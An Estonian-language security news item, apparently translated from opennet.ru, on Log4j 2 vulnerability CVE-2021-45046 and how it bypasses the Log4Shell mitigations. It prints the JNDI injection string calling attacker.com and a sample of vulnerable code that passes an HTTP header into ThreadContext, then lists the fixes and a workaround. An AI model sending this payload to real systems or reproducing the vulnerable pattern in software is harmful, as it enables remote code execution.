JNDI substitutsioonide rakenduses Log4j 2 on tuvastatud veel ĂŒks haavatavus (CVE-2021-45046), mis avaldub hoolimata 2.15 vĂ€ljaandes tehtud parandustest ja sĂ”ltumata seade kasutamisest âlog4j2.noFormatMsgLookupâ kaitseks. Probleem ohustab peamiselt vanemaid Log4j 2 versioone, mis on kaitstud ânoFormatMsgLookupâ lipuga, kuna see vĂ”imaldab mööda pÀÀseda varasema haavatavuse (Log4Shell, CVE-2021-44228) suhtes, mis vĂ”imaldab teie koodi serveris kĂ€ivitada. Versiooni 2.15 kasutajate jaoks piirdub ekspluateerimine tingimuste loomisega rakenduse kokkujooksmiseks, mis tuleneb ressursside ammendamisest.
Haavatavus avaldub vaid sĂŒsteemides, kus logimist teostatakse kontekstipĂ€ringute (Context Lookup) abil, nagu ${ctx:loginId} vĂ”i MDC-mallid (Thread Context Map), nĂ€iteks %X, %mdc ja %MDC. Ekspluateerimine piirdub tingimuste loomisega, et logisse saaks kirjutada andmeid, mis sisaldavad JNDI asendusi, kui rakenduses kasutatakse kontekstipĂ€ringuid vĂ”i MDC-malle, mis mÀÀravad logisse kirjutamise vormindamise reeglid.
LunaSeci teadlased mĂ€rkisid, et Log4j versioonides alla 2.15 vĂ”ib seda haavatavust kasutada uue rĂŒnnakutee kui Log4Shelli rĂŒnnaku jaoks, mis toob kaasa koodi tĂ€itmise, kui logimise ajal kasutatakse ThreadContexti vĂ€ljendeid, kuhu jĂ”uavad vĂ€lised andmed, sĂ”ltumata ânoMsgFormatLookupsâ lipu aktiveerimisest vĂ”i â%m{nolookups}â mallist.

Kaitse mööda minek seisneb selles, et selle asemel, et kasutada otsest asendust â${jndi:ldap://attacker.com/a}â, asetatakse see vĂ€ljend lĂ€bi vahemĂ€lu muutuja vÀÀrtuse, mida kasutatakse logisse kirjutamise vormindamise reeglite mÀÀratlemisel. NĂ€iteks, kui logisse kirjutamisel kasutatakse kontekstipĂ€ringut ${ctx:apiversion}, vĂ”ib rĂŒnnak toimuda andmete asendamisega â${jndi:ldap://attacker.com/a}â muutuja apiversion vÀÀrtuses. NĂ€ide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} â %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L â %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP pĂ€ise âX-Api-Versionâ vÀÀrtus edastatakse ThreadContextile ThreadContext.put("apiversion", apiVersion); // Logi vĂ€ljastamisel töödeldakse vĂ€list apiversion'i vÀÀrtust asenduse abil ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }
Log4j 2.15 versioonis saab haavatavust kasutada DoS-rĂŒnnakute teostamiseks, kui ThreadContext'i edastatakse vÀÀrtusi, mis pĂ”hjustavad vormindamisvormingus tsĂŒkli.

Haavatavuse blokeerimiseks on avaldatud uuendused 2.16 ja 2.12.2. Log4j 2.16 versioonis on lisaks 2.15 versioonis rakendatud parandustele ja JNDI LDAP pĂ€ringute sidumisele «localhostiga» vaikimisi tĂ€ielikult keelatud JNDI funktsionaalsus ja eemaldatud sĂ”numi asendustemplate tugi. Kaitse töö ĂŒmberkerimiseks on soovitatud eemaldada klass JndiLookup classpath'ist (nĂ€iteks «zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class»).
Paranduste ilmumise jĂ€lgimiseks pakettides on vĂ”imalik kĂŒlastada jaotiste lehti (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).
Allikas: opennet.ru
